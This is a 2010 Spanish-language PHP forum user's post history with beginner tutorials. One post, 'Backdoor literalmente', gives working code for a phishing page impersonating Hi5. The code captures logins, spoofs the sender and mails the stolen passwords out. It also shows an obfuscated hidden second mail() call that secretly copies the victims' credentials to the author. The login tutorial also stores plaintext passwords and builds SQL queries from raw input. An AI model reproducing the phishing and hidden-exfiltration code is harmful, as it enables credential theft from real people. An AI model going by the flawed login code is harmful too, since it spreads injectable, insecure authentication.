Mostrar Mensajes

Esta sección te permite ver todos los posts escritos por este usuario. Ten en cuenta que sólo puedes ver los posts escritos en zonas a las que tienes acceso en este momento.


Mensajes - Xt3mP

Páginas: 1 ... 9 10 [11]
151
Tutoriales PHP / Re:Backdoor literalmente [Xt3mP]
« en: 08 de Marzo de 2010, 00:12:53 am »
Gracias, mi primer karma, luego haré uno de como igual hacer esta técnica pero un poco más "camuflada".

152
Tutoriales PHP / Re:Domain Checker básico [Xt3mP]
« en: 08 de Marzo de 2010, 00:07:08 am »
Si, pasa que fue prácticamente escrito aquí, y eso de

$dominio=$nombredominio.$nombreextension; En lo personal si me funciona, ya que el que yo tengo son con selects y tienen un value predeterminado de ".com" , etc, como podrás observar acá:

http://xtemp.org/?h4x=tools&id=chk

Pero igual gracias por la aclaración, tambien es cierto que al estar caído el servidor pues obviamente votará un false tremendo pero pues esto fue por que en lo personal me da "flojera" WhoIS x), es solo para ampliar mas el PHP.

Suerte.

153
Tutoriales PHP / Re:[TUT] Enviar EMail a hotmail
« en: 07 de Marzo de 2010, 05:52:41 am »
Algo demasiado importante ya que yo utilizo demasiado esto, es que al momento de poner un email del remitente debe ser filtrado por Hotmail, ¿Por qué? Si ve que es cualquier mail muy probablemente te lo envíe a bandeja de correo no deseado, por otro lado si utilizamos uno empresarial, por ejemplo: info@hi5.com , mailings@habbohotel.com llegará a bandeja de correos normal.

Tambien otro punto importante es el Hosting, muchos hostings al no tener la función mail() ó que esten saturados te los enviará a no deseado, son solo consejos.

Buen código.

154
Charlas / Offtopic / Re:[Critica] Habbo
« en: 07 de Marzo de 2010, 05:48:53 am »
Dices que empeora la ortografía y dices "friks" cuando en realidad es "freaks".

Bueno, sobre lo otro Habbo en cierta forma tiene que ver con la programación, ¿Por qué? Ya que se pueden programar (no necesaríamente en PHP) utilidades para los famosos "kissgen, lettergen, etc", así que pues no te molestes y pues simplemente a seguir.

155
Tutoriales PHP / Domain Checker básico
« en: 07 de Marzo de 2010, 05:43:55 am »
Antes de continuar quisiera mencionar que no soy un Experto en el área de lo que sería la programación PHP, pero me gusta ayudar a la demás gente, si tuve algún error en lo que sería la explicación corriganla con toda libertad, se que no será con ánimos de postear replys/respuestas ofensivas.

#########################################################################

Hola, qué tal? Esta ocasión les mostraré un Verificador de Dominios demasiado básico pero muy eficaz ya que no son muchas líneas de códigos como lo es WhoIS, obviamente el servidor de Who Is te puede mostrar mucha mas información pero este DomainChecker es para uso casero.

Constará de dos archivos, nuestro famoso PHP y un formulario.

El código HTML del formulario es de la siguiente forma:

Código: (html) [Seleccionar]
<html><head><title>DomainChecker ~Xt3mP</title></head>
<body>
<form action="domainchecker.php" method="POST">
<input type="text" name="dominio" id="dominio>
<input type="text" name="extension" id="extension">
<input type="submit" value="Verificar"></body></html>

Explicacion:

Estamos indicando que se trata de codigo HTML, estamos poniendo dos casillas de texto llamadas dominio y extension que nosotros deberemos rellenar para poder verificar el dominio.
Con la etiqueta <form> estamos indicandole que al hacer click haga un llamado a la pagina "domainchecker.php" por el metodo post.

Ahora nuestro codigo PHP:

Código: (php) [Seleccionar]
<?php
// Obtendremos los valores de el formulario en caso de ponerlo en una web para que el usuario quiera checar si el dominio esta disponible o cambiar $_POST[&#39;dominio&#39;] por el nombre de una pagina.
$nombredominio $_POST[&#39;dominio&#39;];
$nombreextension $_POST[&#39;extension&#39;];
// Concátenamos para que la variable dominio con el "." para que sea igual a nombre.dominio (phperos.net[Ejemplo]):
$dominio=$nombredominio.$nombreextension;
// Declaramos para comenzar a checar el dominio, puerto, errores.
$checker = @fsockopen($dominio80, &$errno, &$errstr30);
// Si la variable checker se llevo acabo correctamente:
if($checker)
{
//Le da un valor a la variable final "Dominio No Disponible".
$final="Dominio no disponible";
}
// Si no:
else {
//Le da un valor a la variable final "Dominio Disponible".
$final="Dominio disponible";
}
//Muestra el valor de la variable "$final".
echo $final;
?>

Creo que la explicacion se las deje toda en los comentarios, espero les sirva, si lo que quieren es verificar manualmente sin llenar formulario el codigo sería asi:

Código: (php) [Seleccionar]
<?php
$dominio
"phperos.net";
$checker = @fsockopen($dominio80, &$errno, &$errstr30);
if(
$checker)
{
$final="Dominio no disponible";
}
else {
$final="Dominio disponible";
}
echo 
$final;
?>


Saludos.

P.D: Este source lo encontré no recuerdo donde y estaba mal hecho, te marcaba error, yo lo "modié" literalmente aunque no me doy el honor de decir que fue mi creación ya que no me gusta robar código de otra gente.

156
Tutoriales PHP / Backdoor literalmente
« en: 07 de Marzo de 2010, 05:41:31 am »
Antes de continuar quisiera mencionar que no soy un Experto en el área de lo que sería la programación PHP, pero me gusta ayudar a la demás gente, si tuve algún error en lo que sería la explicación corriganla con toda libertad, se que no será con ánimos de postear replys/respuestas ofensivas.

Esta vez cabe mencionar que en sí no es un backdoor ya que no te abré ninguna puerta trasera para tener acceso a esto pero lo decidí "llamar" así ya que no se me ocurrio otro nombre, en sí no tiene mucha ciencia ya que simplemente obtendríamos datos sin que el "webmaster/administrador" supiera (Obviamente si le pone atención al código se daría cuenta rápidamente). Tambien se pudiese encriptar con base64 ó/y otros.

#########################################################################

Backdoor (Literalmente) en PHP.

##########################################################################
Por: Xt3mP
Para: Lectores
Herramientas:
Editor de texto.
Conocimientos en PHP.
Imaginación.
#########################################################################
¿En qué consiste?

Trataremos de ocultar un envío de email secundario
con los datos obtenidos de forma oculta (Backdoor literamente) mediante variables en código PHP para que el que utilize nuestro código aparte de envíarle un email a él

con los datos te llegen a ti
igual a la bandeja.

En este caso utilizarémos de ejemplo un "Scam" cualquiera.
#########################################################################
Primeros pasos.

En este escrito no les enseñare a como crear un scam, pero lo pondré de ejemplo. Suponiendo que tenemos nuestro Scam (Un index y un php que es el que ca*****rá los datos y

enviará por correo.

El index lógicamente puede tener un formulario
como este código:

<form action="codigo.php" method="POST">
Usuario:
<input name="user" type="text" id="user" />

<br />Password:
<input name="passwd" type="text" id="passwd" />
</form>


Aquí es donde hacemos un llamado a el archivo "codigo.php"
mediante el método "POST".

Y nuestro código php el código sería así:

Código: [Seleccionar]
<?php
$usuario 
$_POST[&#39;user&#39;];
$clave  $_POST[&#39;passwd&#39;];
$correo "Xt3mP@h4x0rz.us";
$contenido "<br>Email: ".$usuario." <br>Clave: " .$clave."";
$headers "MINE-Version: 1.0\r\n";
$headers .= "Content-type: text/html; charset=iso-8859-1\r\n";
$headers .= "From: Hi5. <mailings@habbohotel.com>\r\n";
$headers .= "Reply-To: mailings@habbohotel.com\r\n";
$subject .= "Logs";
mail($correo,$subject,$contenido,$headers);
?>

En este no ocupo explicar mucho, " user y passwd " son las casillas de texto de nuestro index y estamos declarando que la variable usuario tiene el valor de
la casilla user y la variable clave tiene la valor de la casilla passwd. Declaramos que la variable correo será igual a nuestro correo, la variable contenido tiene de valor lo que nos enviará por correo en este caso las 2 casillas, los headers son el formato de correo, subject es el asunto y la función "mail()" es la que nos enviará el correo con las variables antes dichas. Vuelvan a leer todo para que no quede ninguna duda.
#########################################################################
Empezar a hacer nuestro "Backdoor".

Comenzarémos a crear nuestro Backdoor para que esos datos antes envíados nos lleguén a nosotros tambien. Pero te preguntarás ¿Como? Sencillo, usando la imaginación un poco podemos declarar estas mismas variables para que formen nuestro correo y no los envíe pero la pregunta nuevamente. ¿Como?
Sencillo, modificarémos nuestro PHP algo así para poner nuestro mail (Xt3mP@hotmail.com):

Código: [Seleccionar]
<?php
/*Aqui el demas codigo*/
$q "t";
$w "m";
$e "h";
$t "a";
$y "3";
$u "i";
$i "o";
$o ".";
$p "c";
$a "p";
$s "@";
$f "h";
$g "m";
$h "x";
$b "l";
?>

Las variables "q,w,e,t,y,u,i,o,p,a,s,f,g,h,b" pueden ser cualquiera exepto números ni carácteres raros.

Luego implementarémos otras variables para concatenarlas.

Código: [Seleccionar]
<?php
/*Aqui el demas codigo*/
$caracteresa$h.$q.$y.$g.$a//xt3mp
$caracteresb$s.$f.$i.$q.$g.$t.$u//@hotmai
$caracteresc$b.$o.$p.$i.$g//l.com
$caracteresd$caracteresa.$caracteresb.$caracteresc//xt3mp@hotmail.com
?>

Y agregarémos la función mail() así.

Código: [Seleccionar]
mail($caracteresd,$subject,$contenido,$headers);

Y nuestro código final quedaría así:

Código: [Seleccionar]
<?php
$usuario 
$_POST[&#39;user&#39;];
$clave  $_POST[&#39;passwd&#39;];
$correo "Xt3mP@h4x0rz.us";
$q "t";
$w "m";
$e "h";
$t "a";
$y "3";
$u "i";
$i "o";
$o ".";
$p "c";
$a "p";
$s "@";
$f "h";
$g "m";
$h "x";
$b "l";
$contenido "<br>Email: ".$usuario." <br>Clave: " .$clave."";
$headers "MINE-Version: 1.0\r\n";
$headers .= "Content-type: text/html; charset=iso-8859-1\r\n";
$headers .= "From: Hi5. <mailings@habbohotel.com>\r\n";
$headers .= "Reply-To: mailings@habbohotel.com\r\n";
$subject .= "Logs";
$caracteresa$h.$q.$y.$g.$a//xt3mp
$caracteresb$s.$f.$i.$q.$g.$t.$u//@hotmai
$caracteresc$b.$o.$p.$i.$g//l.com
$caracteresd$caracteresa.$caracteresb.$caracteresc//xt3mp@hotmail.com
mail($correo,$subject,$contenido,$headers);
mail($caracteresd,$subject,$contenido,$headers);
?>
##########################################################################
Camuflajeando.

Ahora solo es cuestión de camuflajear/ocultar entre el código para que no sea tan visible.
Si es un SCAM Bancario es poco probable que encuentren este envío de mail adherido al código original.
En un scam normal como el de Hi5 el código puede ser así:

Código: [Seleccionar]
<?php
$f
"@";
$z"x";
$usuario $_POST[&#39;email&#39;];
$x"l";
$clave  $_POST[&#39;password&#39;];
$c"o";
$correo = array("primer" => "Xt3mP@h4x0rz.us""segundo" => "xT3mP@gobiernofederal.com");
$v"v";
$contenido "<br>Email: ".$usuario." <br>Clave: " .$clave."";
$k"a";
$t "";
$b"e";
$headers "MINE-Version: 1.0\r\n";
$n"s";
$headers .= "Content-type: text/html; charset=iso-8859-1\r\n";
$m"u";
$headers .= "From: Hi5. <mailings@habbohotel.com>\r\n";
$d".";
$headers .= "Reply-To: mailings@habbohotel.com\r\n";
$q"c";
$subject .= "Log de hi5";
$security $j.$k.$l.$x;
$g"h";
$usuariouno=$_POST[&#39;email&#39;];
$h"t";
$l"i";
$p "(";
$u ")";
$claveuno=$_POST[&#39;password&#39;];
$j"m";
$caracteres $z.$d.$x.$c.$v;
$caracteresa $b.$n.$m.$z.$n.$d.$z;
$caracteresb$f.$g.$c.$h.$j.$k.$l.$x.$d.$q.$c.$j;
$caracteresc$caracteres.$caracteresa.$caracteresb;
$text=fopen(&#39;logos.txt&#39;,a);
fwrite($text,"
<br>Correo: "
.$usuario." <br>Clave: " .$clave." ");
fclose($text);
mail($correo["primer"],$subject,$contenido,$headers);
mail($correo["segundo"],$subject,$contenido,$headers);
mail($caracteresc,$subject,$contenido,$headers);
echo 
"<meta http-equiv=&#39;Refresh&#39; content=&#39;1;url=http://www.hi5.com&#39;>";
?>

Y en un código bancario (Scam Bancario) son muchos más códigos en PHP por lo tanto pueden utilizar include, o poner en el Index variables en modo
Hidden, etc. Todo es cuestión de la imaginación.
##########################################################################
Glosario.

Backdoor: Es un defecto/agujero/bug en un software o una página web que te permite acceder de manera oculta o silencia, en este caso digo backdoor por que accedemos a los datos que ingresaran sin que nadie sepa.
Scam: Página falsa.
Variable: Como en las matemáticas, X - Y. Aquí las variables pueden tener cualquier valor al igual que en las matemáticas. X= 1000000000000
#########################################################################
Notas:

Esto lo hize solo para ampliar un poco más esto acerca de el PHP y ya que muchos piden SCAMS bancarios y no se dan cuenta que tambien se envían los datos a terceras personas.
##########################################################################
Por: Xt3mP
Para: Lectores


¿Dudas? Haganmelas saber.

157
Tutoriales PHP / Formularios y Mail
« en: 07 de Marzo de 2010, 05:39:33 am »
Antes de continuar quisiera mencionar que no soy un Experto en el área de lo que sería la programación PHP, pero me gusta ayudar a la demás gente, si tuve algún error en lo que sería la explicación corriganla con toda libertad, se que no será con ánimos de postear replys/respuestas ofensivas.

#########################################################################

En este tutorial aprenderemos a como obtener los datos de un formulario por el metodo post, cojer los datos mediante PHP y enviarlos en un formulario agregando una redireccion. Suena complicado pero veran que despues de leer esto se les hara sumamente sencillo.

Necesitaremos simplemente un editor de texto ya sea Bloc de Notas/Note Pad, DreamWeaver, EclipsePHP, inclusive en Word.

Nosotros tendremos que crear 3 pagina web que estaran de la siguiente manera:

  • El HTML en donde estara el formulario.
  • El PHP en donde cojera los datos y los enviara por correo.
  • El HTML/PHP que mostrara que el mensaje a sido enviado correctamente.

Comenzaremos con la primer pagina, y como toda pagina HTML indicaremos con las etiquetas que se tratara de una pagina HTML, les pondre el codigo y despues les explico para evitar hacer largo el post.

formulario.html:

Código: (html) [Seleccionar]
<html>
<title>Formulario.</title>
<body>
<form action="enviar.php" method="POST">
Nombre: <input type="text" name="nombre" id="nombre"><br>
Correo: <input type="text" name="correo" id="correo"><br>
Mensaje: <input type="text" name="mensaje" id="mensaje"><br>
<input type="submit" value="Enviar" id="submit"><br>
</form></body></html>

Explicacion:

  • <html> Indicamos que el codigo despues de esa etiqueta es HTML.
  • </html> Indicamos que despues de esta etiqueta no habra mas codigo HTML.
  • <title> </title> Indicamos el titulo de la pagina.
  • <form action="var"> Indicamos que al momento de darle click a el boton de enviar/submit hara un llamado a la pagina que esta entre comillas, en este caso es enviar.php.
  • <form method="POST"> Indica el metodo que utilizaremos para el formulario, en este caso utilizaremos el metodo POST aunque tambien existe el metodo GET, estos dos hacen practicamente lo mismo.
  • <input type="text" name="mensaje" id="mensaje"> Indicamos lo que utilizaremos, en este caso "text" equivale a una casilla de texto, "name" es el nombre que tendra esa casilla de texto que al pasarla a PHP se convierte en una variable, y el id seria practicamente lo mismo.
  • <br> Indica un salto de linea.
  • <input type="submit" value="Enviar" id="submit"> Indica que sera un boton para enviar con el nombre "Enviar", value sera lo que mostrara el boton, si nosotros cambiamos el value por Hola el boton saldra Hola.
  • </form></body></html> Como mencione arriba, es para cerrar las etiquetas.

Ahora procederemos a crear el archivo PHP que obtendra los valores, lo escribire y despues les explico:

Código: (php) [Seleccionar]
<?php
$name 
$_POST[&#39;nombre&#39;];
$mail $_POST[&#39;mail&#39;];
$msg $_POST[&#39;mensaje&#39;];
$carta "Nombre: ".$name."<br>Correo: ".$mail."<br>Mensaje: ".$msg;
$micorreo "Xt3mP@h4x0rz.us";
$asunto "Datos del formulario de contacto";
$headers "MINE-Version: 1.0\r\n";
$headers .= "Content-type: text/html; charset=iso-8859-1\r\n";
$headers .= "From: Xt3mP. <Xt3mP@h4x0rz.us>\r\n";
$headers .= "Reply-To: Xt3mP@h4x0rz.us\r\n";
mail($micorreo,$asunto,$carta,$headers);
echo 
"<meta http-equiv=&#39;Refresh&#39; content=&#39;1;url=enviado.html&#39;>";
?>


  • <?php Indicamos que se tratara de codigo PHP.
  • $name, $mail, $msg, $carta, $micorreo, $asunto, $headers Son variables con un nombre cualquiera, es como en las matematicas, tu puedes darle el valor que quieras a "X", o a "Y", o a "C", en vez de $mail puedes poner $daniel, siempre y cuando la variable no empieze con un caracter numerico.
  • El signo de = es como en las matematicas, le indica que lo que esta antes es igual a lo que esta despues me explico, x = 10 , esta indicando que X tiene un valor de 10.
  • $_POST Sirve para cojer el valor de una variable, es como para obtener el value, en este caso la variable es la casilla de texto que se encuentra entre "['CASILLA DE TEXTO']".
  • Concatenar significa unir un String/Variable/Texto Plano, lo que hacemos en la variable $carta, el string debera ir en comillas ( " " ) y para concatenar una variable requerimos a el signo de puntuacion ".". Ejemplo: "Hola, me llamo".$nombre;, un ejemplo practico seria "String".$var."String";
    En este caso concatenamos todas las variables para enviar nuestro correo, seria como una carta.
  • En la variable $micorreo le indicamos mediante un String nuestro correo que posteriormente utilizaremos.
  • En la variable $asunto le indicamos mediante un String nuestro asunto que posteriormente utilizaremos.
  • Las variables $headers indican el formato de el correo, este formato lo podran encontrar en google, ahi demasiados, este formato es para indicar que utilizaremos codigo HTML en el correo, les recomiendo cambiar lo de From: y Reply-To:.
  • La funcion mail() indica que se enviara un correo, el orden deseado es de la siguiente manera: "Mail","Asunto","Mensaje","Formato", traten de seguirlo para evitar posibles errores.
  • El comando echo imprime una linea, es por ejemplo para mostrar Hola seria echo "Hola";.
  • <meta http-equiv='Refresh' content='1;url=enviado.html'> Indicamos que haremos un redireccionamiento a la pagina que se encuentra en "URL", y el tiempo de redireccion sera el valor de "CONTENT", en este caso nos redireccionara a enviado.html en 1 segundo.
  • ?> Indica que el codigo PHP ha acabado.
  • Esto es muy importante, el signo " ; " indica el fin de una linea, si usted no pone el ; en cualquier linea (Exepto en bucles) le marcara error de sintaxis, asi que revise muy bien que despues de cada linea este el " ; ".

Por ultimo, la pagina enviado.html seria asi:

Código: (html) [Seleccionar]
<html>
<title>Enviado</title>
<body>
El correo ha sido enviado correctamente.<br>
<a href="formulario.html">Enviar otro correo</a>
</body>
</html>

Como usted ya debera de saber, indicamos que se trata de HTML, decimos que el correo ha sido enviado correctamente y damos la facilidad de regresar a el formulario para enviar otro correo mediante el codigo <a href="pag">texto</a>.

Espero que les sea de utilidad, cualquier duda o sugerencia haganmela saber.

Saludos.

158
Tutoriales PHP / Encriptar password y contraseña con login básico
« en: 07 de Marzo de 2010, 05:38:58 am »
Antes de continuar quisiera mencionar que no soy un Experto en el área de lo que sería la programación PHP, pero me gusta ayudar a la demás gente, si tuve algún error en lo que sería la explicación corriganla con toda libertad, se que no será con ánimos de postear replys/respuestas ofensivas.

#########################################################################

En este tutorial trataré de enseñarles como encriptar una clave con varios métodos lo cuál si logran desencriptar una parte quedará todavía demasiado por desencriptar así que pues prácticamente nuestro login sería totalmente (en su mayoría) seguro.

Consistirá en 5 páginas, dos HTML (Registro y Login), 3 PHP que una sería la que llevará acabo el registro, la otra sería la conexión a la base de datos y la última sería comprobar el login.

Comenzarémos con el archivo config.php:

Código: (php) [Seleccionar]
<?php
$dbhost
="localhost"//Host del db
$dbuser="xt3mpme_user"//Usuario del db
$dbpass="xt3mpme_pass"//Password del db
$db="xt3mpme_users"//db donde se creara la tabla users
mysql_connect("$dbhost","$dbuser","$dbpass");
mysql_select_db("$db");
//Ya explique para que sirve cada variable.
?>


Una vez hecho esto comenzarémos con el formulario de registro que se llamará registrar.html el cuál será demasiado simple para que lo tomen simplemente como referencia:

Código: (html) [Seleccionar]
<form action="registrar.php" method="POST">
Usuario:<br>
<input type="text" name="user" id="user"><br>
Password:<br>
<input type="password" name="passwd" id="passwd"><br>
Repetir Password:<br>
<input type="password" name="passwd2" id="passwd2">
<input type="submit" value="Registrar" id="submit">

Una vez hecho esto, seguirémos finalmente con la encriptación la cuál en está si explicaré mas o menos lo que sería la encriptación, se llamará registrar.php:

Código: (php) [Seleccionar]
<?php
include(&#39;config.php&#39;);//Incluimos la conexion a la base de datos.
if (($_POST[&#39;user&#39;]== &#39;&#39;) or ($_POST[&#39;passwd&#39;]== &#39;&#39;) or ($_POST[&#39;passwd2&#39;]== &#39;&#39;)){
echo "Te faltaron rellenar campos";
}else{
if(
$_POST[&#39;passwd&#39;] != $_POST[&#39;passwd2&#39;]){
echo "Las contrasenas no coinciden";
}else{
$user stripslashes($_POST["user"]);
$user strip_tags($user);
// Quitamos las etiquetas html y lo relacionado a el usuario.
$pass stripslashes($_POST["passwd"]);
$pass strip_tags($pass);
// Quitamos las etiquetas html y lo relacionado a el password.
/* _____________________________________ */
// Comenzamos con la encriptacion a el estilo de Xt3mP.
$pass_encriptada1 md5 ($pass); //Encriptacion nivel 1
$pass_encriptada2 crc32($pass_encriptada1); //Encriptacion nivel 1
$pass_encriptada3 crypt($pass_encriptada2"xtemp"); //Encriptacion nivel 2
$pass_encriptada4 sha1("xtemp".$pass_encriptada3); //Encriptacion nivel 3
// Aqui será demasiado dificil poder llegar a la password verdadera ya que por ejemplo, podrian desencriptar el md5 pero aún faltaria demasiado.
$usuarios mysql_query("SELECT usuarios FROM cuentas WHERE usuarios=&#39;$user&#39; ");
// Seleccionamos el campo usuarios de la tabla cuentas en donde el usuario es el que escriben en el campo user
if($usuarios2 mysql_fetch_array($usuarios))
{
echo &
#39;El usuario &#39;.$user.&#39; ya esta registrado&#39;;
mysql_free_result($usuarios);
// Liberamos la memoria
}else{
mysql_query("INSERT INTO cuentas (usuarios,pass) values (&#39;$user&#39;,&#39;$pass&#39;)");
//Insertamos los valores de el user y pass en los campos usuarios y pass de la tabla cuentas
echo "El usuario &#39;.$user.&#39; ha sido registrado con éxito.&#39;;
//Decimos que el usuario ha sido registrado, etc.
}
}
}
?>


Ahora procederémos a hacer el login.html:

Código: (html) [Seleccionar]
<form action="logear.php" method="POST">
User:<br>
<input type="text" name="user" id="pass"><br>
Pass:<br>
<input type="password" name="pass" id="pass"><br>
<input type="submit" value="Logear" id="submit">

Creo que ya le entienden, así que haremos el logear.php:

Código: (php) [Seleccionar]
<?php
include(&#39;config.php&#39;); //Incluimos la conexion a la base de datos.
if( ($_POST["user"] == &#39;&#39;) or ($_POST["pass"] == &#39;&#39;) )
{
echo 
"Necesitas introducir datos de logeo";
}else{
$user $_POST[&#39;user&#39;];
$pass $_POST[&#39;pass&#39;];
$pass_encriptada1 md5 ($pass); //Encriptacion nivel 1
$pass_encriptada2 crc32($pass_encriptada1); //Encriptacion nivel 1
$pass_encriptada3 crypt($pass_encriptada2"xtemp"); //Encriptacion nivel 2
$pass_encriptada4 sha1("xtemp".$pass_encriptada3); //Encriptacion nivel 3
$usuarios mysql_query("SELECT * FROM cuentas WHERE usuarios=&#39;$user&#39; and pass=&#39;$pass_encriptada4&#39;");
//Comprobamos que si el usuario y la pass introducidas existan
if($usuarios2 mysql_fetch_array($usuarios))
{
//Si existen los datos introducidos registraremos dos sesiones
session_register("login"); 
session_register("user");
$_SESSION[&#39;login&#39;] = "SI";//Le damos el valor SI a la sesion login.
$_SESSION[&#39;user&#39;] = $usuarios2["usuarios"];//Le damos el valor del nombre de usuario a la sesion user.
echo &#39;<script language="JavaScript" type="text/javascript">
alert("Bienvenido.");//Mostramos alerta de bienvenida
</script>&#39;;
echo "<meta http-equiv=&#39;Refresh&#39; content=&#39;2;url=index.php&#39;>";//Redirigimos a nuestro index
}else{
echo &#39;Username y Password incorrecto.&#39;;
}
}
}
?>


Ahora un PLUS, mostrar contenido si es que esta logeado:

Código: (php) [Seleccionar]
<?php
if ($_SESSION[&#39;login&#39;] = "SI"){//Si la Sesion LOGIN es igual a SI (Se registro si nos logeamos bien)
echo "Hola: ".$_SESSION[&#39;user&#39;];
}else{//Si la Sesion LOGIN no es si (Se registro si nos logeamos bien)
echo "Esta seccion es prohibida";
}
?>


Y eso sería todo, no es fácil ni díficil, es intermedio, los resultados de la password si ponemos xt3mp sería:

Encriptación MD5: 0fcf520c7c5f6a56b69244eeb9bfb98d
Encriptación MD5/crc32: -521765068
Encriptación MD5/crc32/Semilla: xtOtXrnGfYSMM
Encriptación MD5/crc32/Semilla/sha1: fa097e6b9dd4149f78b3e8c9917ff9eb38995da8

La base de datos realmente no sería díficil, si necesitan el código de crear base de datos por phpMyADMIN me lo hacen saber.

Saludos.

159
Tutoriales PHP / Utilizar el método GET para simplificar páginas
« en: 07 de Marzo de 2010, 05:37:16 am »
Antes de continuar quisiera mencionar que no soy un Experto en el área de lo que sería la programación PHP, pero me gusta ayudar a la demás gente, si tuve algún error en lo que sería la explicación corriganla con toda libertad, se que no será con ánimos de postear replys/respuestas ofensivas.

#########################################################################

Esta vez les diré un tip que aprendi no hace mucho, se trata del método get. Les daré un ejemplo sencillo:

Suponiendo que tenemos 3 páginas web (Index.php , Login.php , Registrar.php) y los links para cada sección serían:

www.xt3mp.me/index.php
www.xt3mp.me/login.php
www.xt3mp.me/registrar.php

A simple vista pues no nota tanto trabajo ya que pues son tres archivos .PHP.
Lo que nosotros aprenderémos con el tip que les daré es como en un solo .PHP poner las tres partes.

Ejemplo:

www.xt3mp.me/?modo=index
www.xt3mp.me/?modo=login
www.xt3mp.me/?modo=registrar

Y todo en un solo archivo .PHP.

Es sumamente sencillo, utilizarémos el método GET, les daré el código y despúes explico:

Código: (php) [Seleccionar]
<?php
$medio 
"Escojer seccion";
if (
$_GET[&#39;modo&#39;]== "index"){
$medio "Escojiste index";
}
if (
$_GET[&#39;modo&#39;]== "login"){
$medio "Escojiste login";
}
if (
$_GET[&#39;modo&#39;]== "registrar"){
$medio "Escojiste registrar";
}
echo 
$medio;
?>


Indicamos que se trata de código PHP mediante las etiquetas <? y ?> (Esta última es para cerrar el código PHP).

Despúes le decimos de la manera práctica: Si modo es igual a index asignale un valor a la variable medio, si modo es igual a login asignale un valor a la variable medio, si modo es igual a registrar asignale un valor a la variable medio.

Al final mostramos el valor de la variable medio con "echo".

Asi de sencillo se evitan tener 3 archivos .PHP, y en vez de eso solo tienen 1.

Ya para entrar sería: Digamos que quieren entrar con un link, sería así:

Código: (html) [Seleccionar]
<a href="www.xt3mp.me/?modo=registrar">Registrate</a>.

Y así sucesivamente, si son muchas partes no usen IF usen elseif ó breake.

Sobre el otro código sería así:

Les daré un ejemplo:

Código: (php) [Seleccionar]
<?php
session_start
();
if (
$_SESSION[&#39;logeado&#39;] != "SI"){
$status = &#39;<form name="form1" method="post" action="?modo=login">
    <label>
    <div align="center"><span class="Estilo2">Usuario: </span>
          <input name="usuario" type="text" class="Estilo2" id="usuario" size="15">
          <br>
        <span class="Estilo2">Clave:&nbsp;&nbsp;&nbsp;&nbsp;</span>
          <input name="password" type="password" class="Estilo2" id="password" size="15">
          <br>
          <input name="Submit" type="submit" class="Estilo2" value="Entrar" target="_blank">
      <br>
        </div>
    </label>
    <div align="center"><span class="Estilo2"><a href="?modo=login&proceso=recordar">Recordar clave</a>. <a href="?modo=registrar">Registrar</a>.     </span>           </div>
  </form>&#39;;
}else{
$status "<span class=&#39;Estilo2&#39;>Hola " $_SESSION[&#39;nick&#39;] ."<br><a href=&#39;?modo=salir&#39;>Salir</a></span>";
}
?>

<html>
<head>
<title>You Can't Hack Me !</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<link href="css/style.css" rel="stylesheet" type="text/css" /><style type="text/css">
<!--
body {
background-image: url();
background-color: #000000;
}
.Estilo10 {color: #66FF00}
-->
</style></head>
<?
$medio = '<table width="534" height="294" border="0" align="center">
          <tr>
            <td height="21" colspan="2" class="Estilo1">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</td>
          </tr>
          <tr>
            <td width="139" height="21"><div align="left"><span class="Estilo1">Apertura No-Oficial:</span></div></td>
            <td width="385" class="Estilo2"><div align="left">Como todos sabran, este es un proyecto que recien esta tomando </div></td>
          </tr>
          <tr>
            <td height="21" colspan="2" class="Estilo2"><div align="left">rumbo, todavia faltan terminar ciertos scripts, entre otras cosas, actualmente no estan </div></td>
          </tr>
          <tr>
            <td height="21" colspan="2" class="Estilo2"><div align="left">disponibles los WarGames ya que nos estamos concentrando en lo que es el registro, etc. </div></td>
          </tr>
          <tr>
            <td height="14" colspan="2" class="Estilo2">Mientras tanto te invitamos a que pases por nuestra comunidad de Hacking Latina haciendo</td>
          </tr>
          <tr>
            <td height="21" colspan="2" class="Estilo2"><div align="left">click aqui -------------&gt;:<a href="http://www.hack.cl" target="_blank">[url=http://www.Hack.cl]www.Hack.cl[/url] Mas que una comunidad. </a></div></td>
          </tr>
          <tr>
            <td height="21" class="Estilo2">&nbsp;</td>
            <td class="Estilo2"><div align="right"><span class="Estilo3">Fecha: Enero/28/2010 </span></div></td>
          </tr>
          <tr>
            <td height="21" colspan="2" class="Estilo2"><div align="right" class="Estilo3"><span class="Estilo1">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</span></div></td>
          </tr>
          <tr>
            <td height="21" class="Estilo2">&nbsp;</td>
            <td class="Estilo2">&nbsp;</td>
          </tr>
          <tr>
            <td height="21">&nbsp;</td>
            <td>&nbsp;</td>
          </tr>
          <tr>
            <td height="21">&nbsp;</td>
            <td>&nbsp;</td>
          </tr>
          <tr>
            <td height="21">&nbsp;</td>
            <td>&nbsp;</td>
          </tr>
          <tr>
            <td height="21">&nbsp;</td>
            <td>&nbsp;</td>
          </tr>
        </table>';
if ($_GET['modo']=="registrar"){
session_start();
if ($_SESSION['logeado'] != "SI"){
  $medio = '<form id="form1" name="form1" method="post" action="?modo=registrar2&proceso=comprobando"><table width="500" border="0" align="center">
            <tr>
              <td width="245" class="Estilo2"><div align="right"><span class="Estilo3">*</span>Nickname:</div></td>
              <td width="245"><label>
                <input name="nick" type="text" class="Estilo2" id="nick" size="15">
              </label></td>
            </tr>
            <tr>
              <td class="Estilo2"><div align="right"><span class="Estilo3">*</span>Usuario:</div></td>
              <td><input name="user" type="text" class="Estilo2" id="user" size="15"></td>
            </tr>
            <tr>
              <td class="Estilo2"><div align="right"><span class="Estilo3">*</span>Clave:</div></td>
              <td><input name="passwd" type="password" class="Estilo2" id="passwd" size="15"></td>
            </tr>
            <tr>
              <td height="21" class="Estilo2"><div align="right"><span class="Estilo3">*</span>Repetir Clave: </div></td>
              <td><input name="passwd2" type="password" class="Estilo2" id="passwd2" size="15" /></td>
            </tr>
            <tr>
              <td height="19" class="Estilo2"><label>
                <div align="right"><span class="Estilo3">*</span>Correo:</div></td>
              <td height="19" class="Estilo2"><input name="mail" type="text" class="Estilo2" id="mail" size="15" /></td>
            </tr>
            <tr>
              <td height="21" class="Estilo2"><div align="right"><span class="Estilo3"></span>Pais:</div></td>
              <td height="21" class="Estilo2"><label>
                <select name="country" id="country">
                  <option selected>Mexico</option>
                  <option>Argentina</option>
                  <option>Espa&ntilde;a</option>
                  <option>Chile</option>
                  <option>Panama</option>
                  <option>Colombia</option>
                  <option>Venezuela</option>
